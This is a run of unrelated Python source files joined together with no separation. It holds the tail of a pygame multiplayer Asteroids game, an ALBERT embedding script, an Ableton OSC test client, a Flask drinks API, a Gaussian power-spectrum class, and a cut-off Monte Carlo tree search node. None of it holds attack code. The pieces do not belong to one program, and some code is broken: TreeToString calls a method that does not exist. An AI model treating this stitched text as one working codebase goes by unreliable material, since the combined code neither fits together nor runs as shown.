                self.game_over_ui.move_cursor(1)
            if pressed[K_UP] or pressed[K_w]:
                self.game_over_ui.move_cursor(-1)
            if pressed[K_SPACE] and not lock_space:
                select_index = self.game_over_ui.selected
                if select_index == 0:
                    self.stop_client()
                    return
                elif select_index == 1:
                    self.stop_client()
                    sys.exit()
            if not pressed[K_SPACE]:
                lock_space = False
            # +++

            # +++UPDATE+++
            self.game_over_ui.blit(self.screen)
            pygame.display.update()
            # +++
        # <<<<<<<<<<<

    def _try_join(self) -> None:
        """Fonction pour essayer de se connecter à l'ordinateur de l'hôte. Ne pas appeller cette fonction
        par l'exterieur de cette class.
        """
        tmp_send = Gc.Send(self.host_ip, DEFAULT_PORT)
        tmp_msg = Gc.Packet(COM_PREP, COM_REQUEST_JOIN, self.name, "")
        tmp_send.send_message(json.dumps(tmp_msg.d()))

    def _on_response(self, msg, addr) -> None:
        """Fonction pour traiter les données envoyées par l'hôte. Ne pas appeller cette fonction
        par l'exterieur de cette class."""
        self.last_host_response = time.time()
        received = Gc.Packet("", "", "", "")
        received.__dict__ = json.loads(msg)
        if received.info_type == COM_PREP:
            if received.msg == COM_GAME_START:
                self.game_started = True
            else:
                self.connection_state = received.msg
        elif received.info_type == COM_GAMEDATINFO:
            if received.msg == COM_ASTEROID:
                ast_remove_flag: list[int] = list(self.asteroids.keys())
                small_ast_remove_flag: list[int] = list(self.small_asteroids.keys())
                info: list[Gc.Packet] = []
                d: dict
                for d in json.loads(received.value):
                    g_ = Gc.Packet("", "", "", "")
                    g_.__dict__ = d
                    info.append(g_)
                for i in info:
                    tmp = i.value.split(DELIMITER)
                    x, y, angle, aid = int(float(tmp[0])), int(float(tmp[1])), int(float(tmp[2])), int(
                        float(tmp[3]))
                    tmp = i.other.split(DELIMITER)
                    small, image_index = bool(strtobool(tmp[0])), tmp[1]
                    if not small:
                        if aid in self.asteroids.keys():
                            self.asteroids[aid].set_pos((x, y), angle)
                            self.asteroids[aid].angle = angle
                        else:
                            a = Gc.Asteroid((x, y), angle, small=False, ast_id=aid, img=image_index)
                            self.asteroids.setdefault(aid, a)
                        if aid in ast_remove_flag:
                            ast_remove_flag.remove(aid)
                    else:
                        if aid in self.small_asteroids.keys():
                            self.small_asteroids[aid].set_pos((x, y), angle)
                            self.small_asteroids[aid].angle = angle
                        else:
                            a = Gc.Asteroid((x, y), angle, small=True, ast_id=aid, img=image_index)
                            self.small_asteroids.setdefault(aid, a)
                        if aid in small_ast_remove_flag:
                            small_ast_remove_flag.remove(aid)
                # Remove unnecessary objects
                if len(ast_remove_flag) + len(small_ast_remove_flag) > 0:
                    Gc.ml.dat[S_DESTROY].play()
                for aid in ast_remove_flag:
                    if aid in self.asteroids.keys():
                        self.asteroids.pop(aid)
                for aid in small_ast_remove_flag:
                    if aid in self.small_asteroids.keys():
                        self.small_asteroids.pop(aid)
            elif received.msg == COM_BULLET:
                bullets_remove_flag: list[int] = list(self.bullets.keys())
                info: list[Gc.Packet] = []
                d: dict
                for d in json.loads(received.value):
                    g_ = Gc.Packet("", "", "", "")
                    g_.__dict__ = d
                    info.append(g_)
                for i in info:
                    tmp = i.value.split(DELIMITER)
                    x, y, bid = int(float(tmp[0])), int(float(tmp[1])), int(float(tmp[2]))
                    if bid in self.bullets.keys():
                        self.bullets[bid].set_pos((x, y))
                    else:
                        b = Gc.Bullet((x, y), pygame.Vector2(0, 0), bul_id=bid)
                        self.bullets.setdefault(bid, b)
                    if bid in bullets_remove_flag:
                        bullets_remove_flag.remove(bid)
                # Remove unnecessary objects
                for bid in bullets_remove_flag:
                    if bid in self.bullets.keys():
                        self.bullets.pop(bid)
            elif received.msg == COM_PLAYER_POS:
                players_remove_flag: list[str] = list(self.other_players.keys())
                players_remove_flag.append(self.my_ip)
                info: list[Gc.Packet] = []
                d: dict
                for d in json.loads(received.value):
                    g_ = Gc.Packet("", "", "", "")
                    g_.__dict__ = d
                    info.append(g_)
                for i in info:
                    sp = i.value.split(DELIMITER)
                    osp = i.other.split(DELIMITER)
                    x, y, a, ip = int(float(sp[0])), int(float(sp[1])), int(float(sp[2])), sp[3]
                    name, health, self.score = osp[0], int(float(osp[1])), int(float(osp[2]))
                    if ip in players_remove_flag:
                        players_remove_flag.remove(ip)
                    if ip == self.my_ip:
                        self.spawned = True
                        self.dead = False
                        if self.me is not None:
                            if self.me.health > health:
                                self.me.play_death_sound()
                            self.me.health = health
                            if x == int(SCREEN_DIMENSION[0] / 2) and y == int(SCREEN_DIMENSION[1] / 2):
                                self.me.set_pos((SCREEN_DIMENSION[0] / 2, SCREEN_DIMENSION[1] / 2), self.me.angle)
                        continue
                    if ip not in self.other_players.keys():
                        self.other_players.setdefault(ip, Gc.MpPlayer((x, y), Gc.ml.dat[PLAYER], name, HP))
                        p = self.other_players[ip]
                        self.nametags.setdefault(ip, Gc.TextUI(self.font, DEFAULT_TEXT_COL, p.name,
                                                               Gc.Coordinate(p.cords.x + NAMETAG_OFFSET[0],
                                                                             p.cords.y + NAMETAG_OFFSET[1])))
                    self.other_players[ip].set_pos((x, y), a)
                # Remove unnecessary objects
                for ip_ in players_remove_flag:
                    if ip_ == self.my_ip and self.spawned:
                        self.dead = True
                    if ip_ in self.other_players.keys():
                        self.other_players.pop(ip_)

    def stop_client(self) -> None:
        """Fonction pour arrêter le client correctement."""
        self.receive.kill()
        self.detect_timeout = False
        self.timeout_detector.join()
        print("waiting for other threads to finish..")
        for th in threading.enumerate():
            print(th.name)
            if th is threading.currentThread():
                continue
            th.join()

    def _timeout_detection(self) -> None:
        """Fonction pour détecter une timeout. Cette fonction est executée séparément à l'aide de la module threading"""
        while self.detect_timeout:
            if time.time() - self.last_host_response > TIMEOUT:
                self.timed_out = True
                break
            time.sleep(TIMEOUT_CHECK_RATE)

class Host:
    """Class utilisée pour créer une partie de asteroids. C'est aussi la classe qui a le rôle du serveur."""
    def __init__(self, screen, num_players, name):
        """
        :param screen: L'écran où on affiche le jeu.
        :param num_players: Nombre de joueurs
        :param name: Nom de l'hôte.
        """
        self.screen: pygame.Surface = screen
        self.host_receive = Gc.Receive(DEFAULT_PORT, self._on_rec_from_client)
        self.num_players = num_players
        self.players_name_lobby = []
        self.players_name_game = []
        self.ips = []
        self.running = False
        self.do_ping = False
        self.players_sprites: dict[str, Gc.MpPlayer] = {}
        self.nametags: dict[str, Gc.TextUI] = {}
        self.send_objects: list[Gc.Send] = []
        self.name = name
        self.asteroids = Gc.AstGroup()
        self.small_asteroids = Gc.objects.AstGroup()
        self.bullets = Gc.BulletGroup()
        self.font = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), 12)
        self.ping_th: threading.Thread = None
        self.me: Gc.MpPlayer = None
        self.t_bullets = 0
        self.tick = 0
        self.asteroids_count = 0
        self.small_asteroids_count = 0
        self.bullets_count = 0
        self.score = 0
        self.my_ip = Gc.get_local_ip()
        self.dead = False
        self.score_gui = generate_score_UI(self.score)
        self.dead_ui = generate_dead_UI()
        self.game_over_ui: Gc.MenuUI = None
        self.players_name_lobby.append(name)
        self.host_receive.start()

    # MAIN LOOP
    def loop(self) -> None:
        """Fonction appelée pour démarrer le serveur.
        """
        # >>>>>>>> INITIALIZE WINDOW UIs>>>>>>>
        font = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), 15)
        wait_txt = Gc.TextUI(font, DEFAULT_TEXT_COL, "Waiting for players...", Gc.Coordinate(SCREEN_DIMENSION[0] / 2,
                                                                                SCREEN_DIMENSION[1] / 2))
        ip_txt = Gc.TextUI(font, DEFAULT_TEXT_COL, f"Share this ip to your friends: {Gc.get_local_ip()}",
                           Gc.Coordinate(50, 50))
        players_txt = []
        pl_txt_cord = Gc.Coordinate(100, 110)
        for i in range(self.num_players):
            players_txt.append(Gc.TextUI(font, DEFAULT_TEXT_COL, f"Player {i + 1}: ", Gc.Coordinate(pl_txt_cord.x,
                                                                                pl_txt_cord.y)))
            pl_txt_cord.update(0, 20, additive=True)
        # <<<<<<<<<<<<<<<<<<<<<

        # >>>>>>> WAIT FOR PLAYERS >>>>>>>
        self.do_ping = True
        self.ping_th = threading.Thread(target=self._ping_connected_players)
        self.ping_th.start()
        while len(self.players_name_lobby) < self.num_players:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    self.kill_host()
                    sys.exit()
            self.screen.fill(BG_COLOR)
            for i, txt in enumerate(players_txt):  # update text
                if i + 1 > len(self.players_name_lobby):
                    break
                txt.set_text(f"Player {i + 1}: {self.players_name_lobby[i]}", pos=txt.pos)
            for txt in players_txt:
                txt.blit(self.screen)
            wait_txt.blit(self.screen)
            ip_txt.blit(self.screen)
            pygame.display.update()
        self.do_ping = False
        # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

        # >>>>>>>> SEND GAME START SIGNAL TO CLIENTS AND INITIALIZE OBJECTS >>>>>>>>
        self.running = True
        for ip in self.ips:
            tmp_send = Gc.Send(ip, DEFAULT_PORT)
            tmp_msg = Gc.Packet(COM_PREP, COM_GAME_START, "", "")
            tmp_send.send_message(json.dumps(tmp_msg.d()))
        self.me = Gc.MpPlayer((SCREEN_DIMENSION[0] / 2, SCREEN_DIMENSION[1] / 2), Gc.ml.dat[PLAYER], self.name, HP)
        mynametag = Gc.TextUI(self.font, DEFAULT_TEXT_COL, self.name,
                              Gc.Coordinate(self.me.cords.x + NAMETAG_OFFSET[0], self.me.cords.y + NAMETAG_OFFSET[0]))
        for i, ip in enumerate(self.ips):
            self.players_sprites.setdefault(ip, Gc.MpPlayer((0, 0), Gc.ml.dat[PLAYER], self.players_name_game[i], HP))
            self.send_objects.append(Gc.Send(ip, DEFAULT_PORT))
            p = self.players_sprites[ip]
            self.nametags.setdefault(ip, Gc.TextUI(self.font, DEFAULT_TEXT_COL, p.name,
                                                   Gc.Coordinate(p.cords.x + NAMETAG_OFFSET[0],
                                                                 p.cords.y + NAMETAG_OFFSET[1])))
        # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

        # >>>>> PLAY BGM >>>>>
        bgm_player = Gc.BGMPlayer()
        bgm_player.play()
        # <<<<<<

        # >>>>>>>>> GAME LOOP >>>>>>>>>>
        while self.running:
            # +++EVENTS+++
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    self.kill_host()
                    sys.exit()
            self.screen.fill(BG_COLOR)
            pressed = pygame.key.get_pressed()
            turn, accel = get_turn_and_accel_state(pressed)
            # ++++++

            # +++SHOOT+++
            if not self.dead:
                if pressed[K_SPACE] and self.t_bullets <= 0:  # Generate bullets
                    self.bullets.add(Gc.Bullet(self.me.cords.t, self.me.shoot_vector * BULLET_SPEED,
                                               bul_id=self.bullets_count))
                    self.bullets_count += 1
                    self.t_bullets = round(UPD / 3)
            # ++++++

            # +++ASTEROIDS GENERATION+++
            if self.tick % (UPD * AST_FREQUECY / self.num_players) == 0:  # Generate asteroids
                if random.randint(0, 1) == 1:
                    x = random.randint(0, SCREEN_DIMENSION[0] - 1)
                    y = 0
                else:
                    y = random.randint(0, SCREEN_DIMENSION[1] - 1)
                    x = 0
                self.asteroids.add(Gc.Asteroid((x, y), random.randint(0, 359), ast_id=self.asteroids_count))
                self.asteroids_count += 1
            # ++++++

            # +++DRAW PLAYERS+++
            for ip, p in self.players_sprites.items():
                p.blit(self.screen)
                self.nametags[ip].set_pos(Gc.Coordinate(p.cords.x + NAMETAG_OFFSET[0],
                                                        p.cords.y + NAMETAG_OFFSET[1]))
                self.nametags[ip].blit(self.screen)
            # +++++++

            # +++DETECT COLLISIONS+++
            destroyed = self.asteroids.is_colliding_destroy_bullet(self.bullets, None, render_particles=False)
            self.score += len(destroyed) * POINTS_P_AST
            if len(destroyed) > 0:  # Small asteroids
                for d_cords in destroyed:
                    for _ in range(random.randint(SMALL_ASTS_PDA[0], SMALL_ASTS_PDA[1])):
                        self.small_asteroids.add(Gc.Asteroid(d_cords.t, random.randint(0, 359),
                                                             small=True, ast_id=self.small_asteroids_count))
                        self.small_asteroids_count += 1
            self.score += round(
                len(self.small_asteroids.is_colliding_destroy_bullet(self.bullets, None, render_particles=False))
                * POINTS_P_AST / 2)
            pop_list: list[str] = []
            pl: Gc.MpPlayer
            for k, pl in self.players_sprites.items():
                if self.asteroids.is_colliding_player(pl) or self.small_asteroids.is_colliding_player(pl):
                    # if gui_sh.length() > 1:
                    #     gui_sh.remove(-1)
                    pl.health -= 1
                    if pl.health <= 0:
                        pop_list.append(k)
                        # self.players_sprites.pop(k)
                        continue
                    pl.set_pos((int(SCREEN_DIMENSION[0] / 2), int(SCREEN_DIMENSION[1] / 2)), 0)
            for p in pop_list:
                self.players_sprites.pop(p)
            if not self.dead:
                if self.asteroids.is_colliding_player(self.me) or self.small_asteroids.is_colliding_player(self.me):
                    self.me.health -= 1
                    self.me.play_death_sound()
                    if self.me.health <= 0:
                        self.dead = True
                    else:
                        self.me.set_pos((SCREEN_DIMENSION[0] / 2, SCREEN_DIMENSION[1] / 2), 0)
            # +++

            # +++GUI UPDATE+++
            if self.score_gui.length() - 1 > self.me.health:
                self.score_gui.remove(-1)
            self.score_gui.set_text(str(self.score), 0)
            # ++++++

            # +++DRAW OBJECTS+++
            self.bullets.draw(self.screen)
            self.asteroids.draw(self.screen)
            self.small_asteroids.draw(self.screen)
            # ++++++

            # +++UPDATES+++
            if self.dead and len(self.players_sprites) < 1:
                self.running = False
            if not self.dead:
                self.me.update(accel, turn)
                self.me.blit(self.screen)
                mynametag.set_pos(
                    Gc.Coordinate(self.me.cords.x + NAMETAG_OFFSET[0], self.me.cords.y + NAMETAG_OFFSET[0]))
                mynametag.blit(self.screen)
            else:
                self.dead_ui.blit(self.screen)
            threading.Thread(target=self._send_objects_data2client).start()
            self.tick += 1
            self.t_bullets -= 1
            self.bullets.update()
            self.asteroids.update()
            self.small_asteroids.update()
            self.score_gui.blit(self.screen)
            pygame.display.update()
            pygame.time.Clock().tick(UPD)
            # ++++++
        # <<<<<<<<<<<<<<<<<<<<<<<<<<<

        lock_space = True
        # >>>>>> GAME OVER >>>>>>
        bgm_player.stop()
        self.game_over_ui = generate_gameover_window(self.score)
        while True:
            # +++INPUT EVENTS+++
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    self.kill_host()
                    sys.exit()
            pressed = pygame.key.get_pressed()
            # +++

            # +++KEY INPUTS+++
            self.screen.fill(BG_COLOR)
            if pressed[K_DOWN] or pressed[K_s]:
                self.game_over_ui.move_cursor(1)
            if pressed[K_UP] or pressed[K_w]:
                self.game_over_ui.move_cursor(-1)
            if pressed[K_SPACE] and not lock_space:
                select_index = self.game_over_ui.selected
                if select_index == 0:
                    self.kill_host()
                    return
                elif select_index == 1:
                    self.kill_host()
                    sys.exit()
            if not pressed[K_SPACE]:
                lock_space = False
            # +++

            # +++UPDATE+++
            self.game_over_ui.blit(self.screen)
            pygame.display.update()
            # +++
        # <<<<<<<<<<<

    def _on_rec_from_client(self, msg_, addr) -> None:
        """Fonction pour traiter des messages envoyées par des clients. Ne pas appeller cette fonction
        par l'exterieur de cette class.
        :param msg_: Le contenu du message.
        :param addr: L'adresse IP de l'expéditeur."""
        received = Gc.Packet("", "", "", "")
        received.__dict__ = json.loads(msg_)
        if received.info_type == COM_PREP:
            print("REQUEST!!!!")
            tmp_send = Gc.Send(addr[0], DEFAULT_PORT)
            if len(self.players_name_game) < self.num_players:
                self.players_name_lobby.append(received.value)
                self.players_name_game.append(received.value)
                self.ips.append(addr[0])
                tmp_msg = Gc.Packet(COM_PREP, COM_CON_SUCCESS, "", "")
                tmp_send.send_message(json.dumps(tmp_msg.d()))
            else:
                tmp_send.set_message(json.dumps((COM_PREP, COM_GAME_FULL)))
        elif received.info_type == COM_GAMEDATINFO:
            name = received.other
            if received.msg == COM_PLAYER_POS:
                sp = received.value.split(DELIMITER)
                x, y, a, ip = int(float(sp[0])), int(float(sp[1])), int(float(sp[2])), sp[3]
                if addr[0] in self.players_sprites.keys():
                    self.players_sprites[addr[0]].set_pos((x, y), a)
            elif received.msg == COM_SHOOT:
                sp = received.value.split(DELIMITER)
                x, y, dx, dy = int(float(sp[0])), int(float(sp[1])), float(sp[2]), float(sp[3])
                b = Gc.Bullet((x, y), pygame.Vector2(dx, dy) * BULLET_SPEED, bul_id=self.bullets_count)
                self.bullets_count += 1
                self.bullets.add(b)

    def _ping_connected_players(self) -> None:
        """Fonction pour vérifier les clients si ils sont présents ou pas. Permet aussi les clients de savoir eux-mêmes
        si ils ont perdu la connexion entre l'hôte. Cette fonction est executée séparément
         à l'aide de la module threading"""
        while self.do_ping:
            for ip in self.ips:
                print(ip)
                # print(ip)
                tmp_send = Gc.Send(ip, DEFAULT_PORT)
                tmp_send.send_message(json.dumps(Gc.Packet(COM_PREP, COM_PING, "", "").d()))
            time.sleep(4)

    def kill_host(self) -> None:
        """Fonction pour arrêter le serveur."""
        self.do_ping = False
        self.ping_th.join()
        self.host_receive.kill()
        print("waiting for other threads to finish..")
        for th in threading.enumerate():
            if th is threading.currentThread():
                continue
            th.join()

    def _send_objects_data2client(self) -> None:
        """Fonction pour envoyer les données( Position des autres joueurs, position des astéroides, etc...)
        aux clients."""
        s: Gc.Send
        common_info: list[dict] = []
        # +++ASTEROIDS+++
        ast: Gc.Asteroid
        for ast in self.asteroids.sprites():
            tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_ASTEROID, f"{ast.cords.x}{DELIMITER}{ast.cords.y}{DELIMITER}"
                                                               f"{ast.angle}{DELIMITER}{ast.id}",
                                f"{False}{DELIMITER}{ast.img_index}")
            common_info.append(tmp_msg.d())
        for ast in self.small_asteroids.sprites():
            tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_ASTEROID, f"{ast.cords.x}{DELIMITER}{ast.cords.y}{DELIMITER}"
                                                               f"{ast.angle}{DELIMITER}{ast.id}",
                                f"{True}{DELIMITER}{ast.img_index}")
            common_info.append(tmp_msg.d())
        ast_pk = Gc.Packet(COM_GAMEDATINFO, COM_ASTEROID, json.dumps(common_info), "")
        common_info.clear()
        # +++

        # +++BULLETS+++
        bul: Gc.Bullet
        for bul in self.bullets.sprites():
            tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_BULLET, f"{bul.cords.x}{DELIMITER}{bul.cords.y}"
                                                             f"{DELIMITER}{bul.id}", "")
            common_info.append(tmp_msg.d())
        bul_pk = Gc.Packet(COM_GAMEDATINFO, COM_BULLET, json.dumps(common_info), "")
        common_info.clear()
        # +++

        # +++OTHER PLAYER's INFORMATION+++
        # HOST itself
        if not self.dead:
            tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_PLAYER_POS,
                                f"{self.me.cords.x}{DELIMITER}{self.me.cords.y}{DELIMITER}{self.me.angle}"
                                f"{DELIMITER}{self.my_ip}",
                                f"{self.name}{DELIMITER}{self.me.health}{DELIMITER}{self.score}")
            common_info.append(tmp_msg.d())
        for ip, sprite in self.players_sprites.items():
            tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_PLAYER_POS,
                                f"{sprite.cords.x}{DELIMITER}{sprite.cords.y}{DELIMITER}"
                                f"{sprite.angle}{DELIMITER}{ip}",
                                f"{sprite.name}{DELIMITER}{sprite.health}{DELIMITER}{self.score}")
            common_info.append(tmp_msg.d())
        pl_pk = Gc.Packet(COM_GAMEDATINFO, COM_PLAYER_POS, json.dumps(common_info), "")
        # +++
        for s_ in self.send_objects:
            s = s_.copy()
            s.set_message(json.dumps(ast_pk.d()))
            s.run()
            s.set_message(json.dumps(bul_pk.d()))
            s.run()
            s.set_message(json.dumps(pl_pk.d()))
            s.run()


"""
Pretrain using Albert to get sentence-vector(embedding)
"""
import torch
import os

# configure gpu device
os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID"
os.environ['CUDA_VISIBLE_DEVICE']='7'
gpu_device = torch.device("cuda:7")

from transformers import AlbertTokenizer, AlbertModel
from loguru import logger
from tqdm import tqdm
import numpy as np
import math

class Pretrain:
    def __init__(self):
        # super(Pretrain, self).__init__()

        self.tokenizer = AlbertTokenizer.from_pretrained('albert-base-v2')          # initialize tokenizer
        self.model = AlbertModel.from_pretrained("albert-base-v2").to(gpu_device)   # initialize albert model(albert-base-v2)
        self.embedding_dim = self.model.config.hidden_size                          # dimension of embedding(equals to the dimension of output sentence vector)
        self.batch_size = 10                                                        # predict some samples one time
        self.sample_count = -1

    # step 1 - read file to get the sample count
    def set_sample_count(self, file_name):
        count = 0
        with open(file_name, 'r') as f_read:
            for line in f_read:
                count += 1
        self.sample_count = count
        logger.info("[Sample Count] {}", self.sample_count)

    # step 2 - read file to get generalized samples for tokenizing
    def read_generalized_sample(self, in_file, pointer):
        count = 0           # line number
        sample_list = []    # list of samples from file

        with open(in_file, 'r') as f_read:
            for line in tqdm(f_read):
                if count < pointer:
                    count += 1
                    continue
                elif count >= pointer and count < (pointer + self.batch_size):
                    count += 1
                    sample_list.append(line.strip())
                else:
                    break
            # update pointer
            pointer = count

        return sample_list, pointer

    # step 3 - word embedding based on Albert
    @logger.catch
    def word_embedding(self, in_file, pointer):
        is_first = True
        pooled_output = torch.empty(1, 768)
        # read file to get 50 samples
        text, new_pointer = self.read_generalized_sample(in_file, pointer)

        for tx in text:
            # tokenize
            input_ids = torch.tensor(self.tokenizer.encode(tx, add_special_tokens=True)).unsqueeze(0).to(gpu_device)
            # cut input_ids
            if len(input_ids[0]) > 512:
                input_ids = input_ids[:, :512]
            # predict
            output = self.model(input_ids)
            if is_first:
                pooled_output = output.pooler_output
                is_first = False
            else:
                pooled_output = torch.cat((pooled_output, output.pooler_output))

        return pooled_output, new_pointer

    # iterate to read file for word-embedding
    def iterate_word_embedding(self, in_file, out_file):
        logger.debug("Getting generalized samples from file: {}", in_file)
        logger.info("[Init Pointer] 0")
        pointer = 0     # initialize pointer

        # set sample count
        self.set_sample_count(in_file)
        file_count = math.ceil(self.sample_count / 15000)
        if file_count > 1:
            file_list = [ out_file.split('.data')[0]+'_'+str(i)+'.data' for i in range(0, file_count) ]

        while pointer < self.sample_count:
            # get samples and predict to get word-embedding
            pooled_output, new_pointer = self.word_embedding(in_file, pointer)

            # reset output file
            if file_count > 1:
                out_file = file_list[pointer // 15000]

            # first iteration, save result to file immediately
            if (pointer % 15000) == 0:
                torch.save(pooled_output, out_file)
            # otherwise, load file to concat the new result
            else:
                tmp = torch.load(out_file)
                tmp = torch.cat((tmp, pooled_output))
                torch.save(tmp, out_file)
                logger.info("[Output File] {} [Current Word-Embedding Size] {}", out_file, tmp.size())

            # update pointer
            pointer = new_pointer


# Log File:
# /Users/jor/Library/Preferences/Ableton/Live 11.2.6
from pythonosc import udp_client
from pythonosc.dispatcher import Dispatcher
from pythonosc.osc_server import BlockingOSCUDPServer

import threading
import time

ip = "127.0.0.1"
to_ableton = 11000
from_ableton = 11001

def serve():
    def print_handler(address, *args):
        print(args)
    dispatcher = Dispatcher()
    dispatcher.map("*", print_handler)
    server = BlockingOSCUDPServer((ip, from_ableton), dispatcher)
    time.sleep(0.1)
    server.serve_forever()  #Blocks

def client():
    client = udp_client.SimpleUDPClient(ip, to_ableton)
    client.send_message("Hello Ableton, how are you?", None)
    #client.send_message('/live/song/get/tempo', None)
    time.sleep(0.1)

t1 = threading.Thread(target=serve)
t1.start()
client()


import os
from flask import Flask, request, jsonify, abort
from sqlalchemy import exc
import json
from flask_cors import CORS

from .database.models import db_drop_and_create_all, setup_db, Drink
from .auth.auth import AuthError, requires_auth

app = Flask(__name__)
setup_db(app)
CORS(app)

'''
!! NOTE THIS WILL DROP ALL RECORDS AND START YOUR DB FROM SCRATCH
!! NOTE THIS MUST BE UNCOMMENTED ON FIRST RUN
!! Running this funciton will add one
'''
#db_drop_and_create_all()

# ROUTES

@app.route('/drinks')
def get_drinks():
    allDrinks = Drink.query.all()
    drinks = [drink.short() for drink in allDrinks]
    return jsonify({
        'success': True,
        'drinks': drinks
    })

@app.route('/drinks-detail')
@requires_auth('get:drinks-detail')
def drinks_detail(jwt):
    allDrinks = Drink.query.all()
    drinks = [drink.long() for drink in allDrinks]
    return jsonify({
        'success': True,
        'drinks': drinks
    })

@app.route('/drinks', methods=['POST'])
@requires_auth('post:drinks')
def create_drink(jwt):
    body = request.get_json()
    title = body.get('title', None)
    recipe = body.get('recipe', None)
    recipeString = str(recipe)
    recipeString = recipeString.replace("\'", "\"")
    thedrink = Drink(
        title=title,
        recipe=recipeString
    )
    thedrink.insert()
    drink = thedrink.long()
    return jsonify({
        'success': True,
        'drinks': drink
    })

@app.route('/drinks/<int:drink_id>', methods=['PATCH'])
@requires_auth('patch:drinks')
def update_drink(jwt, drink_id):
    body = request.get_json()
    title = body.get('title', None)
    thedrink = Drink.query.filter(Drink.id == drink_id).one_or_none()
    error = False
    if title != None:
        thedrink.title = title
    try:
        thedrink.update()
    except Exception as e:
        error = True
    if error:
        abort(400)
    else:
        drink = [thedrink.long()]
        return jsonify({
            'success': True,
            'drinks': drink
        })

@app.route('/drinks/<int:drink_id>', methods=['DELETE'])
@requires_auth('delete:drinks')
def delete_drink(jwt, drink_id):
    drink = Drink.query.filter(Drink.id == drink_id).one_or_none()
    drink.delete()
    return jsonify({
        'success': True,
        'delete': drink_id
    })

# Error Handling
'''
Example error handling for unprocessable entity
'''

@app.errorhandler(422)
def unprocessable(error):
    return jsonify({
        "success": False,
        "error": 422,
        "message": "unprocessable"
    }), 422

@app.errorhandler(404)
def notfound(error):
    return jsonify({
        "success": False,
        "error": 404,
        "message": "not found"
    }), 404

@app.errorhandler(AuthError)
def notauthenticated(error):
    return jsonify({
        "success": False,
        "error": error.code,
        "message": "Authentication Error"
    }), error.code

@app.errorhandler(401)
def unauthorized(error):
    return jsonify({
        "success": False,
        "error": 401,
        "message": "unauthorized"
    }), 401

@app.errorhandler(500)
def servererror(error):
    return jsonify({
        "success": False,
        "error": 500,
        "message": "server error"
    }), 500

@app.errorhandler(403)
def forbidden(error):
    return jsonify({
        "success": False,
        "error": 403,
        "message": "forbidden"
    }), 403


#!usr/bin/env python
# -*- coding: utf-8 -*-
"""
	Class to calculate the the gaussian power spectrum
	Arthur E. da Mota Loureiro (IFUSP)
	07/11/2014
"""
import numpy as np
from scipy import interpolate
import sys

class gauss_pk(object):
	"""
	This class is a part of the pk_fkp.
	It takes camb's power spectrum and transforms it in a gaussian P(k)
	The initial values are:
	k_camb, Pk_camb, the grid in k-space, cell_size and the maximum scale in the grid
	"""
	def __init__(self,k_camb,Pk_camb,grid_k,cell_size,L_max):
		self.Pk_camb_interp = interpolate.InterpolatedUnivariateSpline(k_camb,Pk_camb)	     #interpolate camb's Power Spectrum
		##########################################
		# Integral limits for the k-space integral
		##########################################
		k_min = np.min(k_camb[1:])
		k_maxbox = (2.*np.pi)/cell_size			# used in the dumping term to eliminate oscillations
		k_max = float(k_camb[-1:])/10
		self.k_max = k_max

		k_step = 1./L_max*(1./0.3)				# the step in which the integral will be calculated
		k_r = np.arange(k_min,3.*k_max,k_step)
		###########################
		#	Finding Xi_camb(r)
		###########################
		###########################################
		# Integral limits for the r-space integral
		###########################################
		r_max = (np.pi)/np.min(k_r[1:])*(0.3)					#there's no reason to choose this 0.3
		r_step = 1./np.max(grid_k)*(2./3.)
		r_k=1.0*np.arange(1.,r_max,r_step)

		dk_r=np.diff(k_r)                                      # makes the diff between k and k + dk
		dk_r=np.append(dk_r,[0.0])
		krk = np.outer(k_r,r_k)
		self.krk = krk
		#################################
		# Calculates the sin(kr)/kr term
		#################################
		sinkr=np.sin(krk)/krk
		#############################################
		# calculates dk*k^2*P(k)*exp(...)--> dumping
		#############################################
		dkkPk=dk_r*(k_r**2)*self.Pk_camb_interp(k_r)*np.exp(-1.0*np.power(k_r/(3.*k_maxbox),6.0))
		############################
		# The first integral itself
		############################
		integral=np.einsum('i,ij->j',dkkPk,sinkr)
		#############################
		# Cambs correlation function
		#############################
		self.corr_ln=np.power(2.0*np.pi*np.pi,-1.0)*integral #*np.sum(integrando,axis=0)       		     # uses the trace in the r axis to make the integral
		####################################
		# The gaussian correlation function
		####################################
		corr_g = np.log(1.+self.corr_ln)

		########################
		#	Calculating P_g(k)
		########################
		dr = np.diff(r_k)
		dr = np.append(dr,[0.0])
		rkr = np.outer(r_k,k_r)
		####################################
		# sin(rk)/rk and dr*r^2*Xi_gauss(r)
		####################################
		sinrk2 = np.sin(rkr)/rkr
		drCorr = dr*r_k*r_k*corr_g

		##############################################################
		# The second integral, resulting in a Gaussian Power Spectrum
		##############################################################
		integral2 = np.einsum('j,ji->i',drCorr,sinrk2)

		Pk_gauss = 4.*np.pi*integral2  #np.sum(integrando2, axis=0)
		Pk_gauss[0] = Pk_camb[1]
		##############################################
		# The values that can be returned by the class
		##############################################
		self.Pk_gauss_interp = interpolate.UnivariateSpline(k_r,Pk_gauss)
		self.k_r = k_r
		self.r_k = r_k


import datetime
import random
from math import sqrt, log

class Node:

    def __init__(self, move = None, parent = None, state = None, last = None):
        self.move = move
        self.parentNode = parent
        self.children = []
        self.wins = 0
        self.visits = 0
        self.untriedMoves = state.get_moves()
        self.playerJustMoved = last

    def UCTSelectChild(self):
        m = sorted(self.children, key=lambda i: float(i.wins) / float(i.visits) + sqrt(2 * log(float(self.visits)) / float(i.visits)))[-1]
        return m

    def AddChild(self, m, s, last = None):
        new_node = Node(move=m, parent=self, state=s, last=last)
        self.untriedMoves.remove(m)
        self.children.append(new_node)
        return new_node

    def Update(self, result):
        self.visits += 1
        self.wins += result

    def __repr__(self):
        return '[M:' + str(self.move) + ' W/V:' + str(self.wins) + '/' + str(self.visits) + ' U:' + str(self.untriedMoves) + ']'

    def TreeToString(self, indent):
        s = self.a(indent) + str(self)
        for c in self.children:
            s += c.TreeToString(indent + 1)

        return s

    def IndentString(self, indent):
        s = '\n'
